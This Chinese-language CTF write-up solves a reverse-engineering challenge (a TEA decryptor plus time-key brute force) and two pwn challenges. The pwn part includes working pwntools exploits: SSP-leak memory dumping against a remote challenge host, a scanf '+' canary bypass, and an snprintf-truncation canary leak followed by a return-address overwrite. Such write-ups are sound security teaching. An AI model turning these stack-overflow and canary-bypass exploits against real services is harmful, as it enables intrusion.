RE

Obfu

题目给出了一个被加密的文件,和对应的加密程序,64位ELF文件,丢进IDA。可以发现,在main中先调用了sub_0函数,然后依次调用这些sub_函数,而encode1函数也被其中一个sub_函数调用。这些函数应当为第一个加密方法,然后分析encode2,在该函数里首先根据当前时间生成了一个key,然后使用这个key对sub_加密的密文使用TEA加密。TEA加密可以很容易的写出对应的解密代码,时间生成的密钥可以考虑从当前时间开始向过去爆破。而sub_*函数由于有10000个,因此我考虑直接跑一下,对已知文本进行加密观察一下密文。这里可以使用IDA的patch功能,把encode2调用跳过,这样就能观察到第一步的密文了。
多次尝试各种文本容易发现,这个加密方法会将一个字符变换成固定的另一个字符,只和字符本身的值有关,而与字符所处位置和字符的前后字符无关。这样就很容易想到要对ASCII字符集全都加密一次,然后就可以得到明文与密文的对应关系了。

#include <stdio.h>
#include <string.h>
#include <time.h>
int table[256];
void DecryptTEA(unsigned int *firstChunk, unsigned int *secondChunk, unsigned int *key)
{
    unsigned int sum = 0;
    unsigned int y = *firstChunk;
    unsigned int z = *secondChunk;
    unsigned int delta = -0x21524111;
    sum = delta << 4;
    for (int i = 0; i < 16; i++) 
    {
        z -= (y << 3) + key[2] ^ y + sum ^ (y >> 6) + key[3];
        y -= (z << 3) + key[0] ^ z + sum ^ (z >> 6) + key[1];
        sum -= delta;
    }
    *firstChunk = y;
    *secondChunk = z;
}
void DecryptBuffer(char *buffer, int size, unsigned int *key)
{
    char *p = buffer;
    int leftSize = size;
    while (p < buffer + size &&
           leftSize >= sizeof(unsigned int) * 2)
    {
        DecryptTEA((unsigned int *)p, (unsigned int *)(p + sizeof(unsigned int)), key);
        p += sizeof(unsigned int) * 2;
        leftSize -= sizeof(unsigned int) * 2;
    }
}

int decrypt2(unsigned char *enc)
{
    for (int i = 0; i < 32; i++)
    {
        if (table[enc[i]])
        {
            enc[i] = table[enc[i]];
        }
        else
        {
            return 0;
        }
    }
    puts(enc);
    return 1;
}
int bruteforce(unsigned int b, char *enc)
{
    char e[64] = {0};
    unsigned int key[4] = {0};
    int v3 = 0;
    int v2 = b ^ 0xDEADBEEF;
    strcpy(e, enc);
    for (int i = 0; i <= 3; ++i)
    {
        for (int j = 0; j <= 31; ++j)
            v3 ^= (v2 >> j) & 1;
        v2 = v3 | 2 * v2;
        *(key + i) = v2;
    }
    DecryptBuffer(e, 32, key);
    return decrypt2(e);
}
int main(int argc, char const *argv[])
{
    for (int i = 0; i < 3; i++)
    {
        char plain[20];
        char secret[20];

        sprintf(plain, "flag.txt.%d", i);
        sprintf(secret, "output.enc.%d", i);

        FILE *fpplain = fopen(plain, "rb");
        FILE *fpsecret = fopen(secret, "rb");
        for (int j = 0; j < 32; j++)
        {
            table[getc(fpsecret)] = getc(fpplain);
        }
        fclose(fpplain);
        fclose(fpsecret);
    }

    FILE *fp;
    unsigned char ss[64] = {0};
    fp = fopen("output_enc", "rb");
    fgets(ss, 64, fp);
    time_t t = time(NULL);
    while (!bruteforce(t, ss))
    {
        t--;
    }
    fclose(fp);
    return 0;
}

PWN

snipping

一道blind pwn题目。
程序首先提问输入数字的数量,尝试后可得数量不能超过100,可以猜想buffer长约为100个int。当输入的数字为-1时停止输入,然后输出这些数字。可以发现当输入的数量是负数时程序会一直处于输入状态,不会受到100的限制,直到输入-1停下来。不过在这时候程序不会输出这些数字,不能通过这个来泄露内存。
在尝试时发现,当数量输入100,然后直接输入-1时打印的变量中除了0意外还有可疑的数字543516756, 1868785011, 1814062190, 1818588773, 980642080, 808745008, 1630691632 我们把它转换成字符。

#include <stdio.h>
int main(int argc, char const *argv[])
{
    int s[] = {543516756, 1868785011, 1814062190, 1818588773, 980642080, 808745008, 1630691632, 0};
    puts(s);
    return 0;
}

可得提示信息The second level is:0x400a2a。此处应为作者给出的一个提示,应该时在0x400a2a出为level2,我们应该去构造ROP调用它。不过这里我被canary卡住了,所以我开始尝试了SSP Leak,发现SSP Leak其实是可行的,argv的位置位于buffer后81*8字节处,使用下面的exp就可以泄露任意内存地址。这里我便从出题人提示的0x400a2a开始泄露,试图dump这个函数进行分析。因为每次泄露都要重连,而且只能泄露数个字节,所以跑的会比较慢。在程序跑了一段时间后我意外地发现泄露的内容中出现了flag片段,将散落的flag片段拼接在一起就得到了flag。那么应该是flag是被作者写到某个函数里,程序运行时把flag赋值到某个变量,这样代码段里就有了散落的flag文本了。这个应该是一个非预期的解法。

from pwn import *
# The second level is:0x400a2a

def leak(addr):
    addr1 = addr & 0xffffffff
    addr2 = addr >> 32
    io = remote("101.200.240.241", 7003)
    io.sendlineafter("integer?\n", "-1")
    for i in range(82):
        io.sendlineafter("> Read note[%d] :" % (i * 2 + 1), "%d" % addr1)
        io.sendlineafter("> Read note[%d] :" % (i * 2 + 2), "%d" % addr2)
    io.sendlineafter("] : ", "-1")
    io.recvuntil("***: ")
    i = io.recv()[:-12]
    io.close()
    return i

# print(leak(0x400a2a + 220)) # flag segments here

# flag{Y0u_@r3_@_v3ry_90od_snIp3r}

后来这题向大佬请教得知本题canary绕过是利用scanf函数输入数字时,若只输入+那么这次输入会被跳过而不发生赋值也不会卡住,所以在canary位置上输入+就不会覆盖canary,那么可以就把level2的地址写到返回地址处调用level2了。下面是对应的exp。

from pwn import *
import binascii
# The second level is:0x400a2a

io = remote("101.200.240.241", 7003)
io.sendlineafter("integer?\n", "-1")
for i in range(52):
    io.sendlineafter("> Read note[%d] :" % (i * 2 + 1), '+')
    io.sendlineafter("> Read note[%d] :" % (i * 2 + 2), '+')
for i in range(52, 60):
    io.sendlineafter("> Read note[%d] :" % (i * 2 + 1), '%d' % 0x400a2a)
    io.sendlineafter("> Read note[%d] :" % (i * 2 + 2), '0')
io.sendlineafter(" > Read note[121] :", "-1")
s = b''
for i in range(-20, 0)[::-1]:
    io.sendlineafter("[Q] Which page do you want to memory??\n> ", "%d" % i)
    h = int(io.recvuntil('\n').decode())
    if h < 0:
        h = 0x100000000 + h
    s += binascii.unhexlify('%08x' % h)
print(s[::-1])
    
io.close()

easy_overflow

菜鸡出题人在线挨打.jpg
在这次比赛一堆毒瘤blind pwn里个人感觉还算是比较简单的一道题目。
首先checksec,可以发现为64位,各种保护都拉满了,直接丢到IDA里。

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

很容易发现调用flag()函数即可getshell,而关键的程序逻辑在do_reply()函数中:

unsigned __int64 do_reply()
{
  int v0; // eax
  int v1; // ST0C_4
  char s; // [rsp+10h] [rbp-110h]
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  write(1, "say something~\n", 0xFuLL);
  read(0, &recvbuf, 0xFFuLL);
  v0 = snprintf(&s, 0x100uLL, "You say: %s, now say it again please~", &recvbuf);
  write(1, &s, v0);
  v1 = read(0, &s, 0x200uLL);
  write(1, &s, v1);
  return __readfsqword(0x28u) ^ v4;
}

程序先向recvbuf读入了0xFF字节,然后用snprintf进行格式化到栈变量s中,限定buffer长度0x100,之后根据snprintf的返回值进行write输出,之后再向s读入0x200字节并输出。显然溢出点是在s处,s本身长0x100却读入了0x200产生了栈溢出。
但是由于canary的存在,如果只利用这处溢出无法达到目的,同时由于PIE打开,flag函数的地址也无从得知,我们需要泄露内存信息。
回过来看上面的逻辑,第一次输出的长度为snprintf的返回值,似乎并无泄露信息的漏洞,真的如此吗?我们来看一下man手册。在RETURN VALUE小节我们可以看到这样的描述:

If the output was truncated due to this limit, then the return value is the number of characters (excluding the terminating null byte) which would have been written to the final string if enough space had been available. Thus, a return value of size or more means that the output was truncated. (See also below under NOTES.)

也就是说,snprintf的返回值实际是截断前的长度,那么只要第一次读入字节使snprintf截断,那么输出的时候就会把buffer后面的栈内存泄露出来,那么我们可以打印出canary和函数返回地址,这个地址应当在main中,与flag函数的偏移已知,我们就可以构造rop了。

from pwn import *
# context.log_level = 'debug'
io = process("./a.out")

io.sendafter("say something~\n", "a" * 0xff)
leak = io.recv()[0x108:]
canary = u64(leak[0:8])
main = u64(leak[16:24])
print("canary is %#x main is %#x" % (canary, main))
io.send(b"a" * 0x108 + p64(canary) +
        p64(main - (0x12ff-0x1185)) * 4)
io.interactive()

标签: none

评论已关闭